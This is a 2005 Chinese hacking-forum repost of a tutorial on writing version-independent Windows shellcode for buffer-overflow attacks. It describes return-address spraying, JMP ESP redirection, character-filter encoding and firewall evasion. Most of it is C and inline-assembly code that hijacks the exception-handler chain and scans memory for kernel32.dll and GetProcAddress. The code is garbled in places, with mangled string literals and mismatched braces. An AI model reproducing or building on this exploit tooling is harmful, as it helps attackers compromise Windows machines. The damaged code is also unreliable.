Board logo

标题: [转帖]WINDOWS的SHELLCODE编写高级技巧 [打印本页]

作者: x86    时间: 2005-9-24 13:58     标题: [转帖]WINDOWS的SHELLCODE编写高级技巧

WINDOWS的SHELLCODE编写高级技巧 unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出 再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比 较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET 连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80 规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写 WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。 经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。 1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出 点大致范围就可以了。 2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP ESP功能的指令地址就可以定位了。 3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4 、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。 4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。 5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解 码,这样编写SHELLCODE就可以不用考虑特殊字符了。 6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。 下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用 GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个 API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里 面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和 GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在 内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要 是增加异常结构处理 。下面是VC6.0程序代码: void shellcodefn() { int *except[3]; FARPROC procgetadd=0; char *stradd; int imgbase,fnbase,i,k,l; HANDLE libhandle; _asm { jmp nextcall getstradd: pop stradd lea EDI,except mov eax,dword ptr FS:[0] mov dword ptr [edi+0x08],eax mov dword ptr FS:[0],EDI } except[0]=0xffffffff; except[1]=stradd-0x07; /* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */ imgbase=0x77e00000; /* 搜索KERNEL32.DLL 的起始其实地址 */ call getexceptretadd } /* 得到异常后的返回地址 */ for(;imgbase<0xbffa0000,procgetadd==0;){ imgbase+=0x10000; /* 模块地址是64K为单位,加快速度*/ if(imgbase==0x78000000) imgbase=0xbff00000; /* 如果到这还没有搜索到,那可能是WIN9X系统 */ if(*( WORD *)imgbase==';ZM';&& *(WORD *) (imgbase+*(int *)(imgbase+0x3c))==';EP';){ /* 模块结构的模块头 */ fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; k=*(int *)(fnbase+0xc)+imgbase; if(*(int *)k ==';NREK';&&*(int *)(k+4)==';23LE';){ /* 模块名 */ libhandle=imgbase; /* 得到模块头地址,就是模块句柄 */ k=imgbase+*(int *)(fnbase+0x20); for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){ if(*(int *)(imgbase+*(int *)k)==';PteG';&&*(int *)(4+imgbase+*(int *)k)==';Acor';){ /* 引出名 */ k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24)); k+=*(int *)(fnbase+0x10)-1; k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c)); procgetadd=k+imgbase; /* API地址 */ break; } } } } } // 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址 // 注意这儿处理了搜索页面不在情况。 _asm{ lea edi,except mov eax,dword ptr [edi+0x08] mov dword ptr fs:[0],eax } /* 恢复异常结构链 */ if(procgetadd==0) goto die ; /* 如果没找到GetProcAddress地址死循环 */ die: goto die ; _asm{ getexceptretadd: pop eax push eax mov edi,dword ptr [stradd] mov dword ptr [edi-0x0e],eax ret /* 得到异常后的返回地址,并填写到异常处理模块 */ /* 异常处理模块 */ errprogram: mov eax,dword ptr [esp+0x0c] add eax,0xb8 mov dword ptr [eax],0x11223344 //stradd-0xe /* 修改异常返回EIP指针 */ xor eax,eax //2 /* 不提示异常 */ ret //1 /* 异常处理返回 */ execptprogram: jmp errprogram //2 bytes stradd-7 nextcall: call getstradd //5 bytes } }




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2